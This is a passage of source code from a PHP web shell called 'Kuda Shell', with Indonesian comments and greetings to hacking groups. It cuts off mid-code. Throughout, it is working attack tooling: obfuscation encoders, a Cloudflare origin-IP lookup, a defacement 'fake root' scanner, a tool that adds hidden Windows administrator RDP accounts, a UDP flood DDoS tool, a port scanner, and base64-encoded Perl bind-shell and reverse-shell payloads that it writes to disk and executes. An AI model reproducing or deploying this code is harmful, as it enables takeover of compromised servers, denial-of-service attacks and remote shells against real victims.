break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'urlencode' : $codi=rawurlencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'url' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'json' : $codi=utf8_dencode(json_dencode($text));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflatew' : $codi=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'urlencode' : $codi=rawurldecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'url' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
$html = htmlentities(stripslashes($codi));
echo "<form><textarea cols=60 rows=10 class='form-control con7' >".$html."</textarea></center></form><br/><br/>";
} elseif($_GET['kuda'] == 'about') {
?>
<br><div class="thanks">
<tr><td><center><h2><font color="cyan">Kuda Shell Recoded From Con7ext WebShell v2</h2></font>
<h4>Greetz : <br><font color="white">[</font><marquee behavior="alternate" scrollamount="10" style="width: 40%;">All Member From BabbyCyberTeam - IndoXploit - XaiSyndicate And You:)</marquee><font color="white">]</font></h4>
<p><font color='blue'>Shell ini hasil recode saya sendiri dengan menambahkan Tools dari shell lain yang sudah ada^_^ thanks buat tools nya:)</p>
<p>Maaf gan kalo agak berantakan, maklum masi belajar:D</p></font></center></td></tr></div>
<?php
} elseif($_GET['kuda'] == 'bcf') {
echo '<form method="POST">
<center>
<p align="center" dir="ltr"><h2>Bypass CloudFlare</h2></p>
<select class="inputz" name="krz">
<option>ftp</option>
<option>direct-connect</option>
<option>webmail</option>
<option>cpanel</option>
</select>
<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass!"></center>';
$target = $_POST['target'];
# Bypass From FTP
if ($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp." . "$target");
echo "<br><p align='center' dir='ltr'>
<font face='Tahoma' size='2' color='white'>CORRECT IP IS : </font>
<font face='Tahoma' size='2' color='cyan'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if ($_POST['krz'] == "direct-connect") {
$direct = gethostbyname("direct-connect." . "$target");
echo "<br><p align='center' dir='ltr'>
<font face='Tahoma' size='2' color='white'>CORRECT IP IS : </font>
<font face='Tahoma' size='2' color='cyan'>$direct</font></p>";
}
# Bypass From Webmail
if ($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail." . "$target");
echo "<br><p align='center' dir='ltr'>
<font face='Tahoma' size='2' color='white'>CORRECT IP IS : </font>
<font face='Tahoma' size='2' color='cyan'>$web</font></p>";
}
# Bypass From Cpanel
if ($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel." . "$target");
echo "<br><p align='center' dir='ltr'>
<font face='Tahoma' size='2' color='white'>CORRECT IP IS : </font>
<font face='Tahoma' size='2' color='cyan'>$cpanel</font></p>";
}
} elseif($_GET['kuda'] == 'hashgen') {
$submit = $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4", $pass);
$hash_md5 = md5($salt . $pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt . $pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256", $text);
$hash1_sha1 = sha1($salt . $pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt . $pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post">';
echo '<center><h2>Hash Generator</h2>';
echo '<table>';
echo '<font color=blue>Masukkan teks yang ingin di encrypt: ';
echo '<input class="inputz" type="text" name="password" size="40">';
echo '<input class="inputzbut" type="submit" name="enter" value="Hash!">';
echo '<br>';
echo 'Original Password: <input class=inputz type=text size=50 value='.$pass.'><br><br>';
echo 'MD5: <input class=inputz type=text size=50 value='.$hash.'><br><br>';
echo 'MD4: <input class=inputz type=text size=50 value='.$md4 .'><br><br>';
echo 'MD5 with Salt: <input class=inputz type=text size=50 value='.$hash_md5.'><br><br>';
echo 'MD5 with Salt & Sha1: <input class=inputz type=text size=50 value='.$hash_md5_double.'><br><br>';
echo 'Sha1: <input class=inputz type=text size=50 value='.$hash1 .'><br><br>';
echo 'Sha256: <input class=inputz type=text size=50 value='.$sha256.'><br><br>';
echo 'Sha1 with Salt: <input class=inputz type=text size=50 value='.$hash1_sha1.'><br><br>';
echo 'Sha1 with Salt & MD5: <input class=inputz type=text size=50 value='.$hash1_sha1_double.'></center></table></font>';
} elseif($_GET['kuda'] == 'fake_root') {
ob_start();
function reverse($url) {
$ch = curl_init("http://domains.yougetsignal.com/domains.php");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
$resp = curl_exec($ch);
$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
$array = explode(",,", $resp);
unset($array[0]);
foreach($array as $lnk) {
$lnk = "http://$lnk";
$lnk = str_replace(",", "", $lnk);
echo $lnk."
";
ob_flush();
flush();
}
curl_close($ch);
}
function cek($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$resp = curl_exec($ch);
return $resp;
}
$cwd = getcwd();
$ambil_user = explode("/", $cwd);
$user = $ambil_user[2];
if($_POST['reverse']) {
$site = explode("
", $_POST['url']);
$file = $_POST['file'];
foreach($site as $url) {
$cek = cek("$url/~$user/$file");
if(preg_match("/hacked/i", $cek)) {
echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=white>Fake Root!</font><br>";
}
}
} else {
echo "<center><h2>Fake Root</h2>
<form method='post'>
<font color='blue'>Filename:</font> <br><input type='text' name='file' value='kuda.html' size='50' height='10'><br>
<font color='blue'>User:</font> <br><input type='text' value='$user' size='50' height='10' readonly><br>
<font color='blue'>Domain:</font> <br>
<textarea style='width: 450px; height: 250px;' name='url'>";
reverse($_SERVER['HTTP_HOST']);
echo "</textarea><br>
<input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
</form><br>
NB : Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
}
} elseif($_GET['kuda'] == 'krdp_shell') {
if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
if($_POST['create']) {
$user = htmlspecialchars($_POST['user']);
$pass = htmlspecialchars($_POST['pass']);
if(preg_match("/$user/", exe("net user"))) {
echo "<center>[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font></center>";
} else {
$add_user = exe("net user $user $pass /add");
$add_groups1 = exe("net localgroup Administrators $user /add");
$add_groups2 = exe("net localgroup Administrator $user /add");
$add_groups3 = exe("net localgroup Administrateur $user /add");
echo "<center>[ RDP ACCOUNT INFO ]<br>
------------------------------<br>
IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
Username: <font color=lime>$user</font><br>
Password: <font color=lime>$pass</font><br>
------------------------------<br><br>
[ STATUS ]<br>
------------------------------</center><br>
";
if($add_user) {
echo "<center>[add user] -> <font color='lime'>Berhasil</font></center><br>";
} else {
echo "<center>[add user] -> <font color='red'>Gagal</font></center><br>";
}
if($add_groups1) {
echo "<center>[add localgroup Administrators] -> <font color='lime'>Berhasil</font></center><br>";
} elseif($add_groups2) {
echo "<center>[add localgroup Administrator] -> <font color='lime'>Berhasil</font></center><br>";
} elseif($add_groups3) {
echo "<center>[add localgroup Administrateur] -> <font color='lime'>Berhasil</font></center><br>";
} else {
echo "<center>[add localgroup] -> <font color='red'>Gagal</font></center><br>";
}
echo "<center>------------------------------</center><br>";
}
} elseif($_POST['s_opsi']) {
$user = htmlspecialchars($_POST['r_user']);
if($_POST['opsi'] == '1') {
$cek = exe("net user $user");
echo "<center>Checking username <font color=lime>$user</font> .......</center> ";
if(preg_match("/$user/", $cek)) {
echo "<center>[ <font color=lime>Sudah ada</font> ]</center><br>
<center>------------------------------</center><br><br>
<pre><center>$cek</center></pre>";
} else {
echo "<center>[ <font color=red>belum ada</font> ]</center>";
}
} elseif($_POST['opsi'] == '2') {
$cek = exe("net user $user Error");
if(preg_match("/$user/", exe("net user"))) {
echo "<center>[change password: <font color=lime>Error</font>] -></center> ";
if($cek) {
echo "<center><font color=lime>Berhasil</font></center>";
} else {
echo "<center><font color=red>Gagal</font></center>";
}
} else {
echo "<center>[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font></center>";
}
} elseif($_POST['opsi'] == '3') {
$cek = exe("net user $user /DELETE");
if(preg_match("/$user/", exe("net user"))) {
echo "<center>[remove user: <font color=lime>$user</font>] -></center> ";
if($cek) {
echo "<center><font color=lime>Berhasil</font></center>";
} else {
echo "<center><font color=red>Gagal</font></center>";
}
} else {
echo "<center>[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font></center>";
}
} else {
//
}
} else {
echo "<center>-- Create RDP --<br>
<form method='post'>
<input type='text' name='user' placeholder='username' value='mrxbarakuda' required>
<input type='text' name='pass' placeholder='password' value='mrxbarakuda' required>
<input type='submit' name='create' value='>>'>
</form>
-- Option --<br>
<form method='post'>
<input type='text' name='r_user' placeholder='username' required>
<select name='opsi'>
<option value='1'>Cek Username</option>
<option value='2'>Ubah Password</option>
<option value='3'>Hapus Username</option>
</select>
<input type='submit' name='s_opsi' value='>>'>
</form></center>";
}
} else {
echo "<center><font color=white>Fitur ini hanya dapat digunakan dalam Windows Server!</font></center>";
}
} elseif($_GET['kuda'] == 'ddos')
{
?>
<form action=" " method="post">
<center><br>
Your IP: <font color="red"><?php echo $_SERVER["REMOTE_ADDR"]; ?></font> (Don't DoS Yourself Noob)<br><br>
<th colspan="5"><h2>Ddos Tool</th></h2>
<table>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table><br>
<input type="submit" class="inputzbut" name="fire" value="Fire!">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center></form>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "<br>Flooded: $ip on port $rand <br><br>";
$max_time = $time + $exec_time;
for ($i = 0;$i < 65535;$i++) {
$out.= "X";
}
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " . time('h:i:s') . " with $packets (" . round(($packets * 65) / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s ";
}
} elseif($_GET['kuda'] == 'ports') {
echo '<center><h2>Port Scanner</h2>';
echo '<table><form action="" method="post">';
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=lime>Open</font><br>';
}
flush();
}
} else {
echo '<br><tr><th><td><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
<input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
Host: <input type="text" name="host" placeholder="localhost">
Port Start: <input type="text" name="start" placeholder="0">
Port End: <input type="text" name="end" placeholder="5000"><br>
<center><br><input type="submit" value="Scan Ports"></center>
</form></center>';
echo '</th></tr></td></table>';
}
} elseif($_GET['kuda'] == 'hashid') {
if (isset($_POST['gethash'])) {
$hash = $_POST['hash'];
if (strlen($hash) == 32) {
$hashresult = "<font color='lime'>MD5 Hash</font>";
} elseif (strlen($hash) == 40) {
$hashresult = "<font color='lime'>SHA-1 Hash/ /MySQL5 Hash</font>";
} elseif (strlen($hash) == 13) {
$hashresult = "<font color='lime'>DES(Unix) Hash</font>";
} elseif (strlen($hash) == 16) {
$hashresult = "<font color='lime>MySQL Hash / /DES(Oracle Hash)</font>";
} elseif (strlen($hash) == 41) {
$GetHashChar = substr($hash, 40);
if ($GetHashChar == "*") {
$hashresult = "<font color='lime'>MySQL5 Hash</font>";
}
} elseif (strlen($hash) == 64) {
$hashresult = "<font color='lime'>SHA-256 Hash</font>";
} elseif (strlen($hash) == 96) {
$hashresult = "<font color='lime'>SHA-384 Hash</font>";
} elseif (strlen($hash) == 128) {
$hashresult = "<font color='lime'>SHA-512 Hash</font>";
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$1$')) {
$hashresult = "<font color='lime'>MD5(Unix) Hash</font>";
}
} elseif (strlen($hash) == 37) {
if (strstr($hash, '$apr1$')) {
$hashresult = "<font color='lime'>MD5(APR) Hash</font>";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$H$')) {
$hashresult = "<font color='lime'>MD5(phpBB3) Hash</font>";
}
} elseif (strlen($hash) == 34) {
if (strstr($hash, '$P$')) {
$hashresult = "<font color='lime'>MD5(Wordpress) Hash</font>";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$5$')) {
$hashresult = "<font color='lime'>SHA-256(Unix) Hash</font>";
}
} elseif (strlen($hash) == 39) {
if (strstr($hash, '$6$')) {
$hashresult = "<font color='lime'>SHA-512(Unix) Hash</font>";
}
} elseif (strlen($hash) == 24) {
if (strstr($hash, '==')) {
$hashresult = "<font color='lime'>MD5(Base-64) Hash</font>";
}
} else {
$hashresult = "<font color='red'>Hash Type Not Found</font>";
}
} else {
$hashresult = "<font color='red'>Not Hash Entered</font>";
}
?>
<center><br>
<form action="" method="POST">
<tr>
<th colspan="10"><h2>Hash Identifier</th></h2>
<tr class="optionstr"><td><font color="blue">Enter Hash</td><td>:</td></font> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr><br>
<tr class="optionstr"><td><font color="blue">Result</td><td>:</td></font> <td><?php echo $hashresult; ?></td></tr></tr></form></center>
<?php
} elseif($_GET['kuda'] == 'shellscan') {
?>
<script language="javascript" type="text/javascript">
function MM_openBrWindow(c,a,b){window.open(c,a,b)}
</script>
<style type="text/css">
.single{border: 1px solid #00ff00; box-shadow: 0px 0px 15px #55FF55; padding: 5px;}
.me{font-size: 12px; font-family: Share Tech Mono; color: #ccff99; border: 0px; padding: 3px;}
.isi{padding: 2px; border: 1px solid #666666; font-family: Share Tech Mono; color: #ccff99; background-color: #666666; font-size: 10px; font-weight: bold;}
#patch {position: absolute; height: 1; width: 1px; top:0; left:0;}
</style></head>
<body>
<center><h2><font color="white">Shell Scanner</font></h2></center>
<?php
if(isset($_REQUEST['edit']) && $_REQUEST['edit']=='file'){
if(isset($_POST['yes'])){
$filename = $_GET['file'];
echo "<br><br><br><font color=red size=3><b><center>".$filename." deleted...</b></font><br><br><br><br><br><br><br>";
unlink($filename);
echo "<META HTTP-EQUIV=Refresh CONTENT=\"2; URL=javascript:window.close();\">";
}else{
if($_POST['update']) {
$filename = $_POST['file'];
if(is_writable($filename)) {
$handle = fopen($filename, "w+");
$isi=$_POST['content'];
fwrite($handle, stripslashes($isi));
fclose($handle);
$stat= "<center><strong>edited successfully<br>";
} else {
$stat= "<center><font color=red><strong>Error! File may not be writable.</font></center>";
}
}
if($_POST['close']) {
echo "<META HTTP-EQUIV=Refresh CONTENT=\"0; URL=javascript:window.close();\">";
}
$filename = $_GET['file'];
if (file_exists($filename)){
$vuln = $_GET['bug'];
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
?>
<center>
<table>
<tr><td align="left" class="me"><strong><?=$filename?> >> Contains : <?=$vuln?></strong></td></tr>
<tr><td class="me">
<form method="post" action="">
<input type="hidden" name="file" value="<?=$filename?>">
<textarea name="content" cols="80" rows="15"><?=htmlspecialchars($contents)?></textarea><br>
</td></tr>
<tr><td align="center" class="me">
<?php
if($_POST['delete']) {
echo "Are you sure to delete ".$filename." ?";
?>
<tr><td align="center" class="me">
<input type="submit" name="yes" value=" Y E S ">
<input type="submit" name="no" value=" N O ">
</td></tr>
<?php
}else{
echo $stat;
?>
</td></tr>
<tr><td align="right" class="me">
<input type="submit" name="close" value=" C l o s e ">
<input type="submit" name="delete" value=" D e l e t e ">
<input type="submit" name="update" value=" S a v e ">
</td></tr>
<?php
}
fclose($handle);
?>
</table>
</form>
<?php
}else{
echo "<br><br><br><font color=red size=3><b><center>".$filename." not exist...</b></font><br><br><br><br><br><br><br>";
echo "<META HTTP-EQUIV=Refresh CONTENT=\"4; URL=javascript:window.close();\">";
}
?>
</center>
<?php
}
}elseif(isset($_POST['Submit'])){
$ceks = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
foreach($ceks as $ceker){
if($_POST[$ceker]<>""){
$six.=$_POST[$ceker].".";
}
}
$cek = explode('.', $six);
function ListFiles($dir) {
if($dh = opendir($dir)) {
$files = Array();
$inner_files = Array();
while($file = readdir($dh)) {
if($file != "." && $file != "..") {
if(is_dir($dir . "/" . $file)) {
$inner_files = ListFiles($dir . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dir . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
?>
<center>
<table border="0" width="90%" cellpadding="5">
<tr>
<td class="me" align="right" width="30"><b>No</b></td>
<td class="me" align="center" width="105"><b>Type</b></td>
<td class="me" align="center"><b>File Location</b></td>
<td class="me" align="center" width="150"><b>Last Edit</b></td>
<td class="me" align="right" width="80"><b>File Size</b></td>
</tr><br>
<?php
$target=$_SERVER['DOCUMENT_ROOT'];
foreach (ListFiles($target) as $key=>$file){
$nFile = substr($file, -4, 4);
if($nFile == ".php"){
if($file==$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF']){
}else{
$ops = @file_get_contents($file);
$op=strtolower($ops);
$arr = array('c99_buff_prepare' => 'c 9 9',
'abcr57' => 'r 5 7');
$sis=0;
if($op)
$size=filesize($file);
$last_modified = filemtime($file);
$last=date("M-d-Y H:i", $last_modified);
foreach($arr as $key => $val) {
if(@preg_match("/$key/", $op)) {
$sis=1;
$i++;
?>
<tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="red"><blink><?=$i?></blink></font></td>
<td align="center"><font color="red"><blink><?=$val?></blink></font></td>
<td align="left"><blink>
<a href="#" class="abunai" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</blink></td>
<td align="center"><font color="red"><blink><?=$last?> GMT+9</blink></font></td>
<td align="right"><font color="red"><blink><?=$size?> byte</blink></font></td>
<script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
</tr>
<?php
}
}
if($sis<>"1"){
if((@preg_match("/system\((.*?)\)/", $op))&&(@preg_match("/<pre>/", $op))&&(@preg_match("/empty\((.*?)\)/", $op))) {
$sis="2";
$i++;
$val="hidden shell";
?>
<tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><font color="#A0CE4E"><?=$i?></font></td>
<td align="center"><font color="#A0CE4E"><?=$val?></font></td>
<td align="left">
<a href="#" class="xxx" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$val?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><font color="#A0CE4E"><?=$last?> GMT+9</font></td>
<td align="right"><font color="#A0CE4E"><?=$size?> byte</font></td>
<script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
</tr>
<?php
}
}
if($sis=="0"){
foreach($cek as $bugs) {
if ($bugs<>""){
if(@preg_match("/$bugs\((.*?)\)/", $op)) {
$i++;
?>
<tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$bugs?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$bugs?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
</tr>
<?php
}
}
}
}
if($_POST['textV']<>""){
$text=$_POST['textV'];
if(@preg_match("/$text/", $op)) {
$i++;
?>
<tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$i?></td>
<td align="center"><?=$text?></td>
<td align="left">
<a href="#" onClick="MM_openBrWindow('?edit=file&file=<?=$file?>&bug=<?=$text?>','File view','status=yes,scrollbars=yes,width=700,height=600')" rel="nofollow"><?=$file?></a>
</td>
<td align="center"><?=$last?> GMT+9</td>
<td align="right"><?=$size?> byte</td>
<script language="javascript">var bgcolor="transparent";var change_color="#444444";function mover(a){a.style.backgroundColor=change_color}function mout(a){a.style.backgroundColor=bgcolor}</script>
</tr>
<?php
}
}
}
}
}
if($i==0){
foreach($cek as $bugs) {
if ($bugs<>""){
$x++;
?>
<tr style="background-color:Your background Color" onMouseOver="mover(this)" onmouseout="mout(this)">
<td align="right"><?=$x?></td>
<td align="center"><?=$bugs?></td>
<td align="center"> not exist </td>
<td align="center"> no record </td>
<td align="right"> - byte </td>
</tr>
<?php
}
}
}
?>
</table>
<?php
}else{
$find = array('default','base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file');
?>
<form id="fCheck" name="fCheck" method="post" action="" autocomplete="off">
<center>
<table class="single" width="400" border="1" cellpadding="10">
<tr><td class="me"><center>
<b>S e l e c t S c a n T y p e :</b><br>
<table class="me" width="200">
<tr><td class="me">
<script language="javascript">function cekKlik(){if(!document.fCheck.cekV.checked){document.fCheck.textV.disabled=true}else{document.fCheck.textV.disabled=false}if(document.fCheck.cekV.checked){master=master+1}else{if(master>0){master=master-1}else{master=master}}if(master!=0){document.fCheck.Submit.disabled=false}else{document.fCheck.Submit.disabled=true}};</script>
<?php
//dari sini
foreach($find as $bug) {
?>
<script language="javascript">/*<![CDATA[*/var master=0;function checkValue<?=$bug?>(){if(document.fCheck.<?=$bug?>.checked){master=master+1;}else{if(master>0){master=master-1;}else{master=master;}}
if(master!=0){document.fCheck.Submit.disabled=false;}else{document.fCheck.Submit.disabled=true;}}/*]]>*/</script>
<input onClick="checkValue<?=$bug?>()" name="<?=$bug?>" type="checkbox" id="<?=$bug?>" value="<?=$bug?>" /> <?=$bug?><br>
<?php
}
?>
<input name="cekV" type="checkbox" onClick="cekKlik()" id="cekV" value="cekV">
<input class="isi" disabled="disabled" name="textV" value="other key word" onFocus="this.select()" type="text" id="textV">
<br><br>
<input type="hidden" name="asal" value="abcd">
<input disabled="disabled" type="submit" name="Submit" value=" S t a r t S c a n " />
</td></tr>
</table>
</td></tr></table>
</form>
<?
}
?>
<?php
} elseif($_GET['backconnect'] == 'tool'){
echo "<center><h2>Back Connect</h2>";
echo "<form method='post'>
<span><font color='blue'>Bind port to /bin/sh [Perl]</font></span><br/>
<font color='blue'>Port:</font> <input type='text' name='port' value='6969'> <input type='submit' name='bpl' value='>>'>
<br><br>
<span><font color='blue'>Back-connect</font></span><br/>
<font color='blue'>Server:</font> <input type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'> <font color='blue'>Port:</font> <input type='text' name='port' placeholder='443'><select class='select' name='backconnect' style='width: 100px;' height='10'><option value='perl'>Perl</option><option value='php'>PHP</option><option value='python'>Python</option><option value='ruby'>Ruby</option></select>
<input type=submit value='>>'>";
if($_POST['bpl']) {
$bp=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
$brt=@fopen('bp.pl','w');
fwrite($brt,$bp);
$out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>$out
".exe("ps aux | grep bp.pl")."</pre>";
unlink("bp.pl");
}
if($_POST['backconnect'] == 'perl') {
$bc=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
$plbc=@fopen('bc.pl','w');
fwrite($plbc,$bc);
$out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>$out
".exe("ps aux | grep bc.pl")."</pre>";
unlink("bc.pl");
}
if($_POST['backconnect'] == 'python') {
